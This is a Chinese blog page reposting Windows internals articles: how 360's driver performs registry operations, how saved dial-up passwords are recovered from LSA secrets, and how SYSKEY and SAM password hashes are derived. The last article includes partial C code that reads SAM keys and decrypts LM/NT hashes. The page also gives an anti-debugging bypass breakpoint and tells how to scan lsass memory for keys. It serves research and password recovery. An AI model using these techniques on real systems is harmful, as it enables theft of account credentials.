tqsheng

go.....
随笔 - 366, 文章 - 18, 评论 - 101, 引用 - 0
数据加载中……

360注册表操作原理分析

分类: 转载2011-08-09 10:25 281人阅读 评论(0) 收藏 举报
 
360注册表操作原理分析 (前段闲的蛋疼才分析的,错误的,大牛们请指出) 
360为了有效的对注册表进行操作,绕过了RegXXXX函数的使用,自己封装了一套API:BAPI.DLL 以及BAPIDRY.SYS来实现可靠的,有效的注册表和文件操作; 
调用流程如下: 
(以BRegDeleteKey为例) 
对BRegDeleteKey的封装在Ring 3模仿了微软的做法,BRegDeleteKey-->BRegDeleteKeyW之类的, 
对于BRegDeleteKeyW则不再调用NtDeleteKey,而是利用了ZwDeviceIoControl向BAPIDRY.SYS发控制码,自己驱动去做NtDeleteKey做的操作; 
关键在于360 Reg操作所用的方式:通过CmRegXXXX实现,360是如何可靠的获取CmRegXXXX的地址的呢?如下: 
1、通过打开注册表的键值,获取注册表类型的objectType 
2、打开两个注册表项,获取对象以待后面用 
3、对其中一个注册表对象 

nt!_CM_KEY_BODY 
+0x000 Type : Uint4B 
+0x004 KeyControlBlock : Ptr32 _CM_KEY_CONTROL_BLOCK 
+0x008 NotifyBlock : Ptr32 _CM_NOTIFY_BLOCK 
+0x00c ProcessID : Ptr32 Void 
+0x010 Callers : Uint4B 
+0x014 CallerAddress : [10] Ptr32 Void 
+0x03c KeyBodyList : _LIST_ENTRY 

里面的CM_KEY_CONTROL_BLOCK. 
nt!_CM_KEY_CONTROL_BLOCK 
+0x000 RefCount : Uint4B 
+0x004 ExtFlags : Pos 0, 8 Bits 
+0x004 PrivateAlloc : Pos 8, 1 Bit 
+0x004 Delete : Pos 9, 1 Bit 
+0x004 DelayedCloseIndex : Pos 10, 12 Bits 
+0x004 TotalLevels : Pos 22, 10 Bits 
+0x008 KeyHash : _CM_KEY_HASH 
+0x008 ConvKey : Uint4B 
+0x00c NextHash : Ptr32 _CM_KEY_HASH 
+0x010 KeyHive : Ptr32 _HHIVE 
+0x014 KeyCell : Uint4B 
+0x018 ParentKcb : Ptr32 _CM_KEY_CONTROL_BLOCK 
+0x01c NameBlock : Ptr32 _CM_NAME_CONTROL_BLOCK 
+0x020 CachedSecurity : Ptr32 _CM_KEY_SECURITY_CACHE 
+0x024 ValueCache : _CACHED_CHILD_LIST 
+0x02c IndexHint : Ptr32 _CM_INDEX_HINT_BLOCK 
+0x02c HashKey : Uint4B 
+0x02c SubKeyCount : Uint4B 
+0x030 KeyBodyListHead : _LIST_ENTRY 
+0x030 FreeListEntry : _LIST_ENTRY 
+0x038 KcbLastWriteTime : _LARGE_INTEGER 
+0x040 KcbMaxNameLen : Uint2B 
+0x042 KcbMaxValueNameLen : Uint2B 
+0x044 KcbMaxValueDataLen : Uint4B 
+0x048 KcbUserFlags : Pos 0, 4 Bits 
+0x048 KcbVirtControlFlags : Pos 4, 4 Bits 
+0x048 KcbDebug : Pos 8, 8 Bits 
+0x048 Flags : Pos 16, 16 Bits 
里面的HHIVE 

nt!_HHIVE 
+0x000 Signature : Uint4B 
+0x004 GetCellRoutine : Ptr32 _CELL_DATA* 
+0x008 ReleaseCellRoutine : Ptr32 void 
+0x00c Allocate : Ptr32 void* 
+0x010 Free : Ptr32 void 
+0x014 FileSetSize : Ptr32 unsigned char 
+0x018 FileWrite : Ptr32 unsigned char 
+0x01c FileRead : Ptr32 unsigned char 
+0x020 FileFlush : Ptr32 unsigned char 
+0x024 BaseBlock : Ptr32 _HBASE_BLOCK 
+0x028 DirtyVector : _RTL_BITMAP 
+0x030 DirtyCount : Uint4B 
+0x034 DirtyAlloc : Uint4B 
+0x038 RealWrites : UChar 
+0x03c Cluster : Uint4B 
+0x040 Flat : UChar 
+0x041 ReadOnly : UChar 
+0x042 Log : UChar 
+0x044 HiveFlags : Uint4B 
+0x048 LogSize : Uint4B 
+0x04c RefreshCount : Uint4B 
+0x050 StorageTypeCount : Uint4B 
+0x054 Version : Uint4B 
+0x058 Storage : [2] _DUAL 
里面的函数HvpGetCellMapped进行hook,在而后分别对哪两个打开的注册表项进行若干的注册表操作(调用前面获取的NtRegxxx来完成),那么360为什么要hook那个函数腻,原因是,NtRegxxxx的若干操作会调用相应的CmRegxxxx来完成,而CmRegxxx又会调用HvpGetCellMapped这个函数,Fake_HvpGetCellMapped的作用很简单: 
假设对那个自己的测试键值调用了NtSetValueKey,在找个函数里可以找到如下代码: 
if (NT_SUCCESS(status)) 

status = CmSetValueKey(........) 


这里就是和谐的CmSetValueKey,当这个东西运行,在这个函数里可以找到调用了HvpGetCellMapped这个函数,然而现在却调用了Fake_HvpGetCellMapped这个函数,找个函数里面通过栈回溯机制,定位到上面那个图的代码对应的 
CALL CmpSetValueKey,(栈回溯是通过找个函数的第一个参数 
作为回溯查找对象的,前面打开自己的注册表时保存了找个值,这样就确定了CmRegxxxx的地址。 

后面还有一段用于校验CmRegxxxx是否被inline hook的,就不说了。 

360操作注册表

分类: 转载 281人阅读 评论(0) 收藏 举报
 
360注册表操作原理分析 (前段闲的蛋疼才分析的,错误的,大牛们请指出) 
360为了有效的对注册表进行操作,绕过了RegXXXX函数的使用,自己封装了一套API:BAPI.DLL 以及BAPIDRY.SYS来实现可靠的,有效的注册表和文件操作; 
调用流程如下: 
(以BRegDeleteKey为例) 
对BRegDeleteKey的封装在Ring 3模仿了微软的做法,BRegDeleteKey-->BRegDeleteKeyW之类的, 
对于BRegDeleteKeyW则不再调用NtDeleteKey,而是利用了ZwDeviceIoControl向BAPIDRY.SYS发控制码,自己驱动去做NtDeleteKey做的操作; 
关键在于360 Reg操作所用的方式:通过CmRegXXXX实现,360是如何可靠的获取CmRegXXXX的地址的呢?如下: 
1、通过打开注册表的键值,获取注册表类型的objectType 
2、打开两个注册表项,获取对象以待后面用 
3、对其中一个注册表对象 

nt!_CM_KEY_BODY 
+0x000 Type : Uint4B 
+0x004 KeyControlBlock : Ptr32 _CM_KEY_CONTROL_BLOCK 
+0x008 NotifyBlock : Ptr32 _CM_NOTIFY_BLOCK 
+0x00c ProcessID : Ptr32 Void 
+0x010 Callers : Uint4B 
+0x014 CallerAddress : [10] Ptr32 Void 
+0x03c KeyBodyList : _LIST_ENTRY 

里面的CM_KEY_CONTROL_BLOCK. 
nt!_CM_KEY_CONTROL_BLOCK 
+0x000 RefCount : Uint4B 
+0x004 ExtFlags : Pos 0, 8 Bits 
+0x004 PrivateAlloc : Pos 8, 1 Bit 
+0x004 Delete : Pos 9, 1 Bit 
+0x004 DelayedCloseIndex : Pos 10, 12 Bits 
+0x004 TotalLevels : Pos 22, 10 Bits 
+0x008 KeyHash : _CM_KEY_HASH 
+0x008 ConvKey : Uint4B 
+0x00c NextHash : Ptr32 _CM_KEY_HASH 
+0x010 KeyHive : Ptr32 _HHIVE 
+0x014 KeyCell : Uint4B 
+0x018 ParentKcb : Ptr32 _CM_KEY_CONTROL_BLOCK 
+0x01c NameBlock : Ptr32 _CM_NAME_CONTROL_BLOCK 
+0x020 CachedSecurity : Ptr32 _CM_KEY_SECURITY_CACHE 
+0x024 ValueCache : _CACHED_CHILD_LIST 
+0x02c IndexHint : Ptr32 _CM_INDEX_HINT_BLOCK 
+0x02c HashKey : Uint4B 
+0x02c SubKeyCount : Uint4B 
+0x030 KeyBodyListHead : _LIST_ENTRY 
+0x030 FreeListEntry : _LIST_ENTRY 
+0x038 KcbLastWriteTime : _LARGE_INTEGER 
+0x040 KcbMaxNameLen : Uint2B 
+0x042 KcbMaxValueNameLen : Uint2B 
+0x044 KcbMaxValueDataLen : Uint4B 
+0x048 KcbUserFlags : Pos 0, 4 Bits 
+0x048 KcbVirtControlFlags : Pos 4, 4 Bits 
+0x048 KcbDebug : Pos 8, 8 Bits 
+0x048 Flags : Pos 16, 16 Bits 
里面的HHIVE 

nt!_HHIVE 
+0x000 Signature : Uint4B 
+0x004 GetCellRoutine : Ptr32 _CELL_DATA* 
+0x008 ReleaseCellRoutine : Ptr32 void 
+0x00c Allocate : Ptr32 void* 
+0x010 Free : Ptr32 void 
+0x014 FileSetSize : Ptr32 unsigned char 
+0x018 FileWrite : Ptr32 unsigned char 
+0x01c FileRead : Ptr32 unsigned char 
+0x020 FileFlush : Ptr32 unsigned char 
+0x024 BaseBlock : Ptr32 _HBASE_BLOCK 
+0x028 DirtyVector : _RTL_BITMAP 
+0x030 DirtyCount : Uint4B 
+0x034 DirtyAlloc : Uint4B 
+0x038 RealWrites : UChar 
+0x03c Cluster : Uint4B 
+0x040 Flat : UChar 
+0x041 ReadOnly : UChar 
+0x042 Log : UChar 
+0x044 HiveFlags : Uint4B 
+0x048 LogSize : Uint4B 
+0x04c RefreshCount : Uint4B 
+0x050 StorageTypeCount : Uint4B 
+0x054 Version : Uint4B 
+0x058 Storage : [2] _DUAL 
里面的函数HvpGetCellMapped进行hook,在而后分别对哪两个打开的注册表项进行若干的注册表操作(调用前面获取的NtRegxxx来完成),那么360为什么要hook那个函数腻,原因是,NtRegxxxx的若干操作会调用相应的CmRegxxxx来完成,而CmRegxxx又会调用HvpGetCellMapped这个函数,Fake_HvpGetCellMapped的作用很简单: 
假设对那个自己的测试键值调用了NtSetValueKey,在找个函数里可以找到如下代码: 
if (NT_SUCCESS(status)) 

status = CmSetValueKey(........) 


这里就是和谐的CmSetValueKey,当这个东西运行,在这个函数里可以找到调用了HvpGetCellMapped这个函数,然而现在却调用了Fake_HvpGetCellMapped这个函数,找个函数里面通过栈回溯机制,定位到上面那个图的代码对应的 
CALL CmpSetValueKey,(栈回溯是通过找个函数的第一个参数 
作为回溯查找对象的,前面打开自己的注册表时保存了找个值,这样就确定了CmRegxxxx的地址。 
后面还有一段用于校验CmRegxxxx是否被inline hook的,就不说了。 

posted @ 2013-02-11 21:08 tqsheng 阅读(1296) | 评论 (0)编辑 收藏

宽带拨号连接密码恢复原理

 

技术可以通过努力学习而有所成就,但攻防的思维方式即使苦心钻研往往也无大的收获,就得多多借鉴高手的经验了……

 

 编者按:在读者来信中,经常有朋友询问如何做一名成功的黑客或安全专家,如何才能找到好的安全技术学习方法。其实,除了掌握一些必备的基础知识和工具外,还要懂得编程等技术;另外攻防思路的养成和培训也是很重要的。因为技术可以通过努力学习而有所成就,但攻防的思维方式即使苦心钻研往往也无大的收获,就得多多借鉴高手的经验了。在本文中,作者通过对NT平台拨号连接密码恢复原理的研究,层层索引,步步入微的思维方法就值得推荐。

  前段时间我的ADSL密码忘记了,但幸好还保存在拨号连接里面,于是我到网上找了些星号密码显示工具,可惜不起作用。后来找到一种名为Dialupass的工具,这家伙不负我所望,把密码给我还原出来了 (用的Dialupass v2.42,我的系统是Windows XP) 。抱着浓厚的兴趣,我决定深入研究。略有收获,愿与大家共享。

  Dialupass星号密码显示之谜

  看上去,Dialupass是非普通的星号密码显示工具,那它的原理是什么呢?上Google查了一番,没找到相关资料。一生气便抄起家伙——Windbg,准备把它大卸八块。郁闷的是,用Windbg加载后,密码就不能还原出来了,显示的是星号。换替补Ollydbg上场,情况依旧。怪了,莫非这小工具有Anti-Debug功能?当时只是一丝怀疑,因为实在不相信这样的小工具作者会花心思来保护。

  小知识:

  Windbg工具:

  Windbg是微软开发的免费源码级调试工具。可以用于Kernel模式调试和用户模式调试,还可以调试Dump文件。

  Anti-Debug技术:

  Anti-Debug,即反跟踪技术。防止 Cracker 用 SoftICE 之类的调试器动态跟踪,分析软件。反跟踪技术一般是具有针对性的,即针对某种调试器的反跟踪,而不能防止所有的调试器跟踪。

  在用S-ICE跟踪的过程中,发现有这么一个调用:GetProcAddress(xx, “IsDebugPresent”)。原来真的有Anti-Debug功能,好在比较简单。统计了一下,总共有五处进行了Anti-Debug检查。

  OK,情况查明了,便换回Windbg来调试。在Windbg里面有这么一个断点可绕过Anti-Debug检测:bp KERNEL32!IsDebuggerPresent “g poi(esp);r eax=0;g”。

  花了些时间跟踪了一下,把Dialupass恢复密码的流程都搞清楚了。这小程序猫腻还挺多的,总结如下:

  1. 关键函数不直接调用,而是用LoadLibraryA和GetProcAddress来获取函数地址后再CALL;
  2. 函数名是经过编码的,反汇编后看字符串是看不到的;
  3. 关键地方一概用花指令来迷惑你和反汇编软件。

 其实原理很简单,就是用rasapi32.dll里面的一些函数来获取拨号连接的一些信息,再用 ADVAPI32!LsaRetrievePrivateData 函数来获取密码。


 

  关键字:LsaRetrievePrivateData和RasDialParams

  根据Dialupass的原理,写了个类似的工具(完整的源代码x_dialupass.c可以从.net/src/x_dialupass.c">http://security.xici.net/src/x_dialupass.c获取)。后来用LsaRetrievePrivateData和RasDialParams做关键字,重新在Google搜索了一遍,找到一些类似的代码。

  小提示:

  参考资源①和②是俄罗斯人公布的演示代码,没有对LsaRetrievePrivateData返回的数据进行拆分用户名和密码。参考资源③是日本人公布的完整的应用程序的代码,可惜在对LsaRetrievePrivateData返回的数据进行拆分处理时存在BUG,导致有些情况下用户名和密码取得不正确。

  ①http://www.lwteam.ru/modules/ne ws/article.php?storyid=167
  ②http://www.wasm.ru/forum/index.php?action=vthread&forum=12&topic=4873
  ③http://homepage2.nifty.com/spw/software/rtrick/

  后来发现Lsadump2 DUMP出来的数据里面包含了“LsaRetrievePrivateData”返回的数据。Lsadump2的原理大致如下:

  1.插入一个线程到Lsass.exe进程;
  2.打开LSA Policy database;
  3.从注册表“HKLM\SECURITY\Policy\Secrets”中枚举子键;
  4.LsarOpenSecret;
  5.LsarQuerySecret。

  进一步跟踪后发现,其实ADVAPI32!LsaRetrievePrivateData是通过NdrClientCall2发送RPC调用到Lsass.exe进程,Lsass.exe里面再调用LsarOpenSecret、LsarQuerySecret来完成获取拨号连接信息过程的(LsarOpenSecret里面有权限判断,非Admin组用户是没有权限来调用ADVAPI32!LsaRetrievePrivateData的)。

  跟踪了一下LsarQuerySecret,发现它返回的数据其实是从注册表中读取。保存拨号连接信息的注册表键值为:“HKLM(HKEY_LOCAL_MACHINE的缩写)\SECURITY\Policy\Secrets\RasDialParams!SID#0\CurrVal”。

  SID对应的是用户的String SID (“HKLM\SECURITY”这个键只有System有权限读写)。

  LsarQuerySecret从注册表中读取出来数据后,接着调用LsapCrDecryptValue函数来解密,对于同一台机器来说,解密时用的KEY始终都是固定的,这个KEY在lsasrv.dll里面的变量名为_LsapDbSecretCipherKey。在Windows 2003里面,变量名不一样,对应的有两个,分别为LsapDbSecretCipherKeyWrite和LsapDbSecretCipherKeyRead,但这两个变量里面的数据是一样的。

  LsapCrDecryptValue用的似乎是标准DES算法,解密时主要流程如下:

  lsasrv!LsapCrDecryptValue→advapi32!SystemFunction005→advapi32!DecryptDataLength→advapi32!SystemFunction002→advapi32!DES_ECB_LM→advapi32!des

  解密后,在“<<”标志处还有一个判断(如图所示)。

 

  假如[esi+45h]为0的话(esi是LsarOpenSecret函数返回的Handle),它会把解密后的数据再进行一次加密,不管是Windows 2000还是Windows 2003,这时用的KEY始终都是固定为“SystemLibraryDTC”。

  Lsadump2里面调用LsarOpenSecret得到的Handle,偏移0x45处值为1,所以LsarQuerySecret函数返回的就是解密后的数据了。

  而在调用ADVAPI32!LsaRetrievePrivateData时,LsarOpenSecret返回的Handle偏移0x45处值为0x0,所以LsarQuerySecret返回的是解密后又加密的数据,所以在ADVAPI32!LsaRetrievePrivateData里面还有一个对应的解密过程。相应地,LsapCrEncryptValue加密的主要流程如下:
  lsasrv!LsapCrEncryptValue→advapi32!SystemFunction004→advapi32!EncryptDataLength→advapi32!SystemFunction001→advapi32!DES_ECB_LM→advapi32!des

  _LsapDbSecretCipherKey是如何产生的?

  开始我以为在同一版本的Windows里面,_LsapDbSecretCipherKey是固定的,后来发现我错了。那么这个


_LsapDbSecretCipherKey是如何产生的?流程如下:

  1.调用ntdll!NtConnectPort打开 L“\Security\WxApiPort”;
  2.调用ntdll!NtRequestWaitReplyPort得到一些数据;
  ebp-40处为NtRequestWaitReplyPort返回的LPCMESSAGE:
  kd> dd ebp-40
  0006fcb8 00400028 00000002 000000dc 000000d8
  0006fcc8  00000024 00000000 00000000 00000000
  0006fcd8  00000001 00000010 00000010 fd317e3e
  0006fce8  7e24e86d d12503d3 5f7d01a8 7665f528
  kd> db ebp-14
  0006fce4  3e 7e 31 fd 6d e8 24 7e-d3 03 25 d1 a8 01 7d 5f

  3.将上述“ebp-14”处的0x10字节数据COPY到lsasrv.dll里面的_LsapDbSysKey变量。

  _LsapDbSysKey在不同的机器上面(即使版本相同)都是不一样的。它是怎么产生的?有幸拜读了Flashsky的大作后(http://www.xfocus.net/articles/200306/550.html),我才明白这就是传说中的“SYSKEY”。用Flashsky的代码验证一下:

  c:\>getsyskey
  3e 7e 31 fd 6d e8 24 7e d3 03 25 d1 a8 01 7d 5f

  跟踪系统启动过程,可知道“\Security\WxApiPort”是由Winlogon.exe进程创建的,然后Lsass进程通过这个LPC PORT从Winlogon进程获取SYSKEY,随后Winlogon进程会关闭这个LPC PORT。所以在系统启动完成之后,用Process Explorer等工具是看不到这个LPC PORT存在的,而且在Winlogon和Lsass进程空间都搜索不到上述SYSKEY。

  4.从注册表“HKLM\SECURITY\Policy\PolSecretEncryptionKey”中读取出来一段数据,调用函数_LsapDbDecryptKeyWithSyskey,把它用_LsapDbSysKey来解密,_LsapDbSecretCipherKey就在解密完后的数据里面(LsapDbDecryptKeyWithSyskey函数做的其实就是MD5和RC4运算)。

  从注册表中获取拨号连接密码

  了解原理后,我们就可以直接从注册表里面来获取拨号连接中的密码等数据了。但有几个问题需要解决:

  1.原料:“HKLM\SECURITY”键只有SYSTEM有权限读写。我们可以把代码插入到SYSTEM进程里面去运行,或者把这个键修改为ADMIN有权限读,或者提升本进程权限。

  2.催化剂:如何获取_LsapDbSysKey解密用的函数,_LsapDbDecryptKeyWithSyskey为非导出函数。可以用Flashsky的代码来获取SYSKEY,利用公开的MD5和RC4库函数来解密。

  直接从Lsass.exe进程里面搜索_LsapDbSecretCipherKey,它的结构如下:

  typedef struct _LSA_BLOB {
  DWORD cbData;
  DWORD cbMaxData;
  BYTE  pbData;
  } LSA_BLOB;

  pbData指向存储KEY的地址,KEY长度固定为0x10字节,即cbData和cbMaxData都是固定为0x10。所以从Lsass进程的空间里面搜索“\x10\x00\x00\x00\x10\x00\x00\x00”即可找到正确的KEY。结果可能会有多个,可以把所有搜索到的KEY都试一下,总有一个正确的。

  3.工具:解密函数LsapCrDecryptValue为非导出函数,怎么办?或许可以根据特征码来搜索,但总觉得不太可靠。幸好,LsapCrDecryptValue调用的advapi32!SystemFunction005是导出函数。或者直接利用公开的DES库函数,自己来运算。

  注:x_dialupass2.cpp中的代码演示了直接从注册表中读取数据并解密之的过程,完整的源代码可从http://security.xici.net/src/x_dialupass2.cpp获取。

posted @ 2013-02-11 10:49 tqsheng 阅读(828) | 评论 (2)编辑 收藏

SAM的散列存储加密解密算法以及SYSKEY的计算

SAM的散列存储加密解密算法以及SYSKEY的计算


创建时间:2003-06-04
文章属性:原创
文章提交:flashsky (flashsky1_at_sina.com)

SAM的散列存储加密解密算法以及SYSKEY的计算
转摘请注明作者和安全焦点
作者:FLASHSKY
SITE:WWW.XFOCUS.NETWWW.SHOPSKY.COM
邮件:flashsky@xfocus.org
作者单位:启明星辰积极防御实验室

    SAM中存放在密码散列这是大家都知道的,但是其密码存放在对应相对SID的V键下面却是一种加密的形式,如何通过这个加密的串计算出密码散列了,大家用PWDUMP3这样的工具可以导出散列来,主要原理是系统空间会存在一个sampsecretsessionkey,PWDUMP3就是拷贝一个服务到对方机器上,读出这个lsass进程空间的sampsecretsessionkey再进行解密的,其实这个sampsecretsessionkey的生成也是非常复
杂的,我们这里做一个比PWDUMP3更深入的一个探讨和分析,sampsecretsessionkey的计算与生成,这样我们就能在直接从物理文件中计算出sampsecretsessionkey,来解密注册表中的密码散列,对于一个忘记密码的系统或一个不知道用户口令但已经获得磁盘的系统有这重要意义,这样我们完全就能通过注册表文件的分析来解密注册表中的密码散列。
        通过分析,我们发现以前在NT中常说的SYSKEY在W2K系统的这个过程中起着非常重要的作用,其实SYSKEY已经做为W2K的一个固定组件而存在了,我们下面给出一个整个过程:
         系统引导时:
        计算获得SYSKEY
        读取注册表中的SAM\SAM\Domains\Accoun\V中保存的KEY信息(一般是最后的0X38字节的前0X30字节)
        使用SYSKEY和F键的前0X10字节,与特殊的字串"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%","0123456789012345678901234567890123456789"做MD5运算,再与F键的后0X20字节做RC4运算就可以获得sampsecretsessionkey,这个
sampsecretsessionkey固定存放在LSASS进程中,作为解密SAM中加密数据到散列时用
    

-------------------------------------------------
|系统计算出的SYSKEY                              |
|F键信息的前0x10字节                             |MD5
|"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"|--->------
|"0123456789012345678901234567890123456789"      |          |RC4
--------------------------------------------------          |------>sampsecretsessionkey
                                                            |
                     F键信息的后0x20字节 -------------------

    
    当需要解密SAM中加密数据到散列时(如远程登陆):
        读取sampsecretsessionkey,再与当前用户的相对SID,散列类型名(如LMPASSWORD,NTPASSWORD)做MD5运算获得针对这个用户密码散列的sessionkey
        利用sessionkey用RC4解密第一道加密的散列,再将用户相对ID扩展成14字节做DES切分,生成DESECB,再对用RC4处理后的散列进行分开成2次DES解密就可以获得密码散列。
       -------------------------
       |sampsecretsessionkey   |
       |sid                    |MD5
       |"LMPASSWOR"/"NTPASSWOR"|--->sessionkey---
       |                       |                 |RC4    2次DES(填充SID做KEY切分)
       -------------------------                 |----->-------------------------->HASH
                                                                          |
                对应的SAM中加密的密码散列 ---------------------------------


    这个算法相当好,保证了不同用户的相同散列在SAM存放不一样(相对SID不一样),不同机器的同一SID同口令的SAM中的散列存放不一样(SYSKEY不同);
        这个算法的DES/RC4都是可逆的,这样如果我们能通过离线(文件)方式获得SYSKEY的话(其他的信息都可以分析SAM文件获得),我们完全实现离线修改SAM中口令的效果,不过这需要对注册表的结构和SAM中V/F键的数据结构再做深入的研究,这里就不谈了。
        那么SYSKEY是如何计算出来的呢?这可能是我发现MS最牛皮的一个地方了,先开始想一定会存放在注册表某处,呵呵,最后跟踪MS引导时候的WINLOGON进程才知道,SYSKEY是这样计算出来的,很多人会大掉眼镜吧:
        SYSKEY的计算是:SYSTEM\\CurrentControlSet\\Control\\Lsa下的
        JD,Skew1,GBG,Data四个键值的CLASS值通过换位得来的,靠,佩服MS。这样我们完全可以离线分析注册表就能获得对其SAM的加密散列的导出或改写了。

    下面就是给出的完全实现计算SYSKEY-》sampsecretsessionkey,对特定用户的SAM中加密的密码散列再解密的代码:当然如果从运行系统中解密散列也可以直接读取sampsecretsessionkey,就象PWDUMP3那样做的一样也是可以的,但是如果要实现离线的就还需要再分析更多的东西。
    另外关于PWDUMP具体的方法,由于其是加密和反跟踪的,我没时间做仔细调式分析,但是从REGMON监视其注册表操作的过程来说,是没有去读LSA下的任何东西的,因此可以断定他是直接获得ampsecretsessionkey来进行对SAM内容的解密到散列的。

//下面几个函数的实现,DES相关的盒,ECB等的定义参考我以前发的文章 中的代码,这里不再给出
//void deskey(char * LmPass,unsigned char * desecb)
//void rc4_key(unsigned char * rc4keylist,unsigned char * rc4key,int keylen);
//void md5init(unsigned char * LM);
//void md5final(unsigned char * LM);
//void initLMP(char * pass,unsigned char * LM);
//以前给出的des函数的实现没有解密的部分,并且有个小错误,因此这里再给出完整的一个

#include <stdio.h>
#include <windows.h>
#include "des.h"

void getsyskey(unsigned char * syskey);
void getsampsecretsessionkey(unsigned char * syskey,unsigned char * fkey);
void md5init(unsigned char * LM);
void md5final(unsigned char * LM);
void rc4_key(unsigned char * rc4keylist,unsigned char * rc4key,int keylen);
void rc4_2bc6(unsigned char * rc4keylist,int keylen,unsigned char * key);
void getsamkey(unsigned char * sampsskey,unsigned char * uid,unsigned char * passwordtype,unsigned char * sessionkey);
void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid);
void initLMP(char * pass,unsigned char * LM);
void deskey(char * LmPass,unsigned char * desecb);
void des(unsigned char * LM,char * magic,unsigned char * ecb,long no);

void main()
{
    int i;
    //下面为了简单,这3个是直接指定的用户,相对SID的注册表键名和相对SID,大家也可以写成完全根据用户名获取的方式
    char username[]="SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator";
    char keyname[]="SAM\\SAM\\Domains\\Account\\Users\\000001F4";
    unsigned long uid=0x1F4;
    unsigned char syskey[0x10];
    unsigned char ensamnt[0x10];
    unsigned char ensamlm[0x10];
    unsigned char sessionkey[0x10];
    unsigned char buf[0x400];
    unsigned char sampsecretsessionkey[0x10];
    unsigned char lmhash[0x10];
    unsigned char nthash[0x10];
    unsigned char fkey[0x30];
    unsigned long ss;
    DWORD regtype;
    DWORD regint;
    unsigned char passwordtype[5][100]={"LMPASSWORD","NTPASSWORD","LMPASSWORDHISTORY","NTPASSWORDHISTORY","MISCCREDDATA"};

    HKEY hkResult;
    HKEY hkResult1;
    //SAM中的键读取先要提升自己成为LOCASYSTEM权限,这里并没有实现,自己增加其中的代码
    //读出F键中用于计算
    regint=0x400;
    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account",0,KEY_READ,&hkResult);
    if(ss!=0)
        printf("no Privilege!\n");
    ss=RegQueryValueEx(hkResult,"F", NULL,&regtype,buf,&regint);
    for(i=regint-1;i>=0;i--)
        if(buf[i]!=0)
            break;
    memcpy(fkey,buf+i-0x2f,0x30);
    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,username,0,KEY_READ,&hkResult);
    //检查此用户是否存在
    if(ss!=ERROR_SUCCESS)
        return;
    //读取该用户下的V键中加密的散列信息
    //由于目前还未解析V中的结构,我们就直接读最后的那一串,一般都是如此存放在此
    //但也不排除例外,那就需要具体分析V中的结构来计算了
    regint=0x400;
    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,keyname,0,KEY_READ,&hkResult);
    ss=RegQueryValueEx(hkResult,"V", NULL,&regtype,buf,&regint);
    memcpy(ensamnt,buf+regint-0x18,0x10);
    memcpy(ensamlm,buf+regint-0x2c,0x10);
    
    //计算SYSKEY,W2K系统默认SYSKEY使用,且成为其固定的一个组件
    getsyskey(syskey);
    //利用SYSKEY,F键中的KEY计算sampsecretsessionkey
    getsampsecretsessionkey(syskey,fkey);
    memcpy(sampsecretsessionkey,fkey+0x10,0x10);
    //上面的就是系统引导时完成的工作,这个sampsecretsessionkey固定保存在LSASS的进程空间内
    //当认证等或如PWDUMP3工作时候,就是先从系统中直接读sampsecretsessionkey再进行处理

    //根据具体用户的相对SID,要恢复散列的散列类型,生成SESSIONKEY,如下面就是针对LM散列的
    getsamkey(sampsecretsessionkey,&uid,passwordtype[0],sessionkey);
    memcpy(lmhash,ensamlm,0x10);
    //利用SESSIONKEY,SAM中加密的LM散列,相对SID做RC4/DES解密获得真正的散列
    getsamhash(lmhash,sessionkey,&uid);
    printf("HASH::");
    for(i=0;i<0x10;i++)
        printf("%02x",lmhash[i]);
    printf(":");
    //根据具体用户的相对SID,要恢复散列的散列类型,生成SESSIONKEY,如下面就是针对NTLM散列的
    getsamkey(sampsecretsessionkey,&uid,passwordtype[1],sessionkey);
    memcpy(nthash,ensamnt,0x10);
    //利用SESSIONKEY,SAM中加密的NTLM散列,相对SID做RC4/DES解密获得真正的散列
    getsamhash(nthash,sessionkey,&uid);
    for(i=0;i<0x10;i++)
        printf("%02x",nthash[i]);
    printf("\n");
}

void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid)
{
    //利用SESSIONKEY,SAM中加密的LM散列,相对SID做RC4/DES解密获得真正的散列
    unsigned char desecb[128];
    unsigned char rc4keylist[0x102];
    unsigned char LM[0x10];
    unsigned char p1[0xe];
    unsigned char p2[0x10];
    memcpy(p1,uid,4);
    memcpy(p1+4,uid,4);
    memcpy(p1+8,uid,4);
    memcpy(p1+0xc,uid,2);
    //上面是用SID填充DESECB的KEY
    rc4_key(rc4keylist,sessionkey,0x10);
    rc4_2bc6(rc4keylist,0x10,ensaminfo);
    //RC4处理一次再用DES解密
    initLMP(p1,LM);
    deskey(LM,desecb);
    des(p2,ensaminfo,desecb,0);
    initLMP(p1+7,LM);
    deskey(LM,desecb);
    des(p2+8,ensaminfo+8,desecb,0);
    memcpy(ensaminfo,p2,0x10);
}

void getsamkey(unsigned char * sampsskey,unsigned long * uid,unsigned char * passwordtype,unsigned char * sessionkey)
{
    //根据具体用户的相对SID,要恢复散列的散列类型,MD5生成SESSIONKEY
    unsigned char LM[0x58];
    int len,i;

    md5init(LM);
    for(i=0;i<20;i++)
        if(passwordtype[i]==0)
            break;
    len=i+1;
    memcpy(LM+0x18,sampsskey,0x10);
    memcpy(LM+0x28,(unsigned char *)uid,4);
    memcpy(LM+0x2c,passwordtype,len);
    memset(LM+0x2c+len,0x80,1);
    memset(LM+0x2c+len+1,0x0,0x58-(0x2c+len+1));
    *(DWORD *)LM=0x200;
    *(DWORD *)(LM+0X50)=0xF8;
    md5final(LM);
    memcpy(sessionkey,LM+8,0x10);
}

void getsyskey(unsigned char * syskey)
{
    unsigned char keyselect[]={0x8,0xA,0x3,0x7,0x2,0x1,0x9,0xF,
        0x0,0x5,0xd,0x4,0xb,0x6,0xc,0xe};  
    //换位表
    unsigned char syskey1[0x10];
    HKEY hkResult;
    HKEY hkResult1;
    int i,j;
    long ss;
    unsigned char classinfo[0x10];
    DWORD c1;

    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Lsa",0,KEY_READ,&hkResult);
    if(ss!=ERROR_SUCCESS)
        return;
    ss=RegOpenKeyEx(hkResult,"JD",0,KEY_READ,&hkResult1);
    i=0;
    memset(syskey1,0,0x10);
    c1=0x10;
    if(ss==ERROR_SUCCESS)
    {
